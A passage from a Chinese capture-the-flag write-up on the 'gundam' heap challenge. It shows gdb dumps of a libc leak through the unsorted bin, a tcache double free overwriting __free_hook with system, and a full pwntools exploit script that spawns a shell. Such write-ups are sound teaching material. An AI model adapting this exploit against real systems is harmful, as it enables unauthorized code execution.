  8. 0x555555757040: 0x0000000000000000 0x0000000000000000
  9. 0x555555757050: 0x0000000000000000 0x0000000000000000
  10. 0x555555757060: 0x0000000000000000 0x0000000000000000
  11. 0x555555757070: 0x0000000000000000 0x0000000000000000
  12. 0x555555757080: 0x0000000000000000 0x0000000000000000
  13. 0x555555757090: 0x0000000000000000 0x0000000000000000
  14. 0x5555557570a0: 0x0000000000000000 0x0000000000000000
  15. 0x5555557570b0: 0x0000000000000000 0x0000000000000000
  16. 0x5555557570c0: 0x0000000000000000 0x0000555555757a10 <-- entries
  17. 0x5555557570d0: 0x0000000000000000 0x0000000000000000
  18. 0x5555557570e0: 0x0000000000000000 0x0000000000000000
  19. 0x5555557570f0: 0x0000000000000000 0x0000000000000000
  20. gdb-peda$ x/6gx 0x555555757b50-0x10
  21. 0x555555757b40: 0x0000000000000000 0x0000000000000111
  22. 0x555555757b50: 0x00007ffff7dd2c78 0x00007ffff7dd2c78 <-- unsorted bin
  23. 0x555555757b60: 0x0000000000000000 0x0000000000000000
  24. gdb-peda$ vmmap libc
  25. Start End Perm Name
  26. 0x00007ffff79f8000 0x00007ffff7bce000 r-xp /home/firmy/gundam/libc-2.26.so
  27. 0x00007ffff7bce000 0x00007ffff7dce000 ---p /home/firmy/gundam/libc-2.26.so
  28. 0x00007ffff7dce000 0x00007ffff7dd2000 r--p /home/firmy/gundam/libc-2.26.so
  29. 0x00007ffff7dd2000 0x00007ffff7dd4000 rw-p /home/firmy/gundam/libc-2.26.so
  30. gdb-peda$ p 0x00007ffff7dd2c78 - 0x00007ffff79f8000
  31. $1 = 0x3dac78

可以看到对应的 tcache bin 中已经放满了 7 个 chunk,所以第 8 块 chunk 被放进了 unsorted bin。

再次 malloc 之后:

  1. gdb-peda$ x/6gx 0x555555757b50-0x10
  2. 0x555555757b40: 0x0000000000000000 0x0000000000000111
  3. 0x555555757b50: 0x0a41414141414141 0x00007ffff7dd2c78
  4. 0x555555757b60: 0x0000000000000000 0x0000000000000000

可以看到程序并没有在字符串后加 \x00 隔断,所以可以将 unsorted bin 的地址泄漏出来,然后通过计算得到 libc 基址。

  1. [*] libc base: 0x7ffff79f8000
  2. [*] __free_hook address: 0x7ffff7dd48a8
  3. [*] system address: 0x7ffff7a3fdc0

overwrite

  1. def overwrite():
  2. destroy(2)
  3. destroy(1)
  4. destroy(0)
  5. destroy(0) # double free
  6. blow_up()
  7. build(p64(__free_hook_addr)) # 0
  8. build('/bin/sh\x00') # 1
  9. build(p64(system_addr)) # 2

触发 double free 时:

  1. gdb-peda$ x/30gx 0x0000555555757000+0x10
  2. 0x555555757010: 0x0000000000000000 0x0400000000000000 <-- counts
  3. 0x555555757020: 0x0000000000000000 0x0000000000000000
  4. 0x555555757030: 0x0000000000000000 0x0000000000000000
  5. 0x555555757040: 0x0000000000000000 0x0000000000000000
  6. 0x555555757050: 0x0000000000000000 0x0000000000000000
  7. 0x555555757060: 0x0000000000000000 0x0000000000000000
  8. 0x555555757070: 0x0000000000000000 0x0000000000000000
  9. 0x555555757080: 0x0000000000000000 0x0000000000000000
  10. 0x555555757090: 0x0000000000000000 0x0000000000000000
  11. 0x5555557570a0: 0x0000000000000000 0x0000000000000000
  12. 0x5555557570b0: 0x0000000000000000 0x0000000000000000
  13. 0x5555557570c0: 0x0000000000000000 0x0000555555757a10 <-- entries
  14. 0x5555557570d0: 0x0000000000000000 0x0000000000000000
  15. 0x5555557570e0: 0x0000000000000000 0x0000000000000000
  16. 0x5555557570f0: 0x0000000000000000 0x0000000000000000
  17. gdb-peda$ x/6gx 0x0000555555757a10-0x10
  18. 0x555555757a00: 0x0000000000000000 0x0000000000000111
  19. 0x555555757a10: 0x0000555555757a10 0x0000000000000000 <-- fd pointer
  20. 0x555555757a20: 0x0000000000000000 0x0000000000000000

其 fd 指针指向了它自己。

接下来的 malloc 将改写 __free_hook 的地址:

  1. gdb-peda$ x/6gx 0x0000555555757a10-0x10
  2. 0x555555757a00: 0x0000000000000000 0x0000000000000111
  3. 0x555555757a10: 0x0068732f6e69622f 0x000000000000000a
  4. 0x555555757a20: 0x0000000000000000 0x0000000000000000
  5. gdb-peda$ x/gx 0x00007ffff7dd48a8
  6. 0x7ffff7dd48a8 <__free_hook>: 0x00007ffff7a3fdc0
  7. gdb-peda$ p system
  8. $2 = {<text variable, no debug info>} 0x7ffff7a3fdc0 <system>

pwn

  1. def pwn():
  2. destroy(1)
  3. io.interactive()

Bingo!!!

  1. $ python exp.py
  2. [+] Starting local process './gundam': pid 7264
  3. [*] Switching to interactive mode
  4. $ whoami
  5. firmy

exploit

完整的 exp 如下:

  1. #!/usr/bin/env python
  2. from pwn import *
  3. #context.log_level = 'debug'
  4. io = process(['./gundam'], env={'LD_PRELOAD':'./libc-2.26.so'})
  5. #elf = ELF('gundam')
  6. libc = ELF('libc-2.26.so')
  7. def build(name):
  8. io.sendlineafter("choice : ", '1')
  9. io.sendlineafter("gundam :", name)
  10. io.sendlineafter("gundam :", '0')
  11. def visit():
  12. io.sendlineafter("choice : ", '2')
  13. def destroy(idx):
  14. io.sendlineafter("choice : ", '3')
  15. io.sendlineafter("Destory:", str(idx))
  16. def blow_up():
  17. io.sendlineafter("choice : ", '4')
  18. def leak():
  19. global __free_hook_addr
  20. global system_addr
  21. for i in range(9):
  22. build('A'*7)
  23. for i in range(7):
  24. destroy(i) # tcache bin
  25. destroy(7) # unsorted bin
  26. blow_up()
  27. for i in range(8):
  28. build('A'*7)
  29. visit()
  30. leak = u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
  31. libc_base = leak - 0x3dac78 # 0x3dac78 = libc_base - leak
  32. __free_hook_addr = libc_base + libc.symbols['__free_hook']
  33. system_addr = libc_base + libc.symbols['system']
  34. log.info("libc base: 0x%x" % libc_base)
  35. log.info("__free_hook address: 0x%x" % __free_hook_addr)
  36. log.info("system address: 0x%x" % system_addr)
  37. def overwrite():
  38. destroy(2)
  39. destroy(1)
  40. destroy(0)
  41. destroy(0) # double free
  42. blow_up()
  43. build(p64(__free_hook_addr)) # 0
  44. build('/bin/sh\x00') # 1
  45. build(p64(system_addr)) # 2
  46. def pwn():
  47. destroy(1)
  48. io.interactive()
  49. if __name__ == "__main__":
  50. leak()
  51. overwrite()
  52. pwn()

参考资料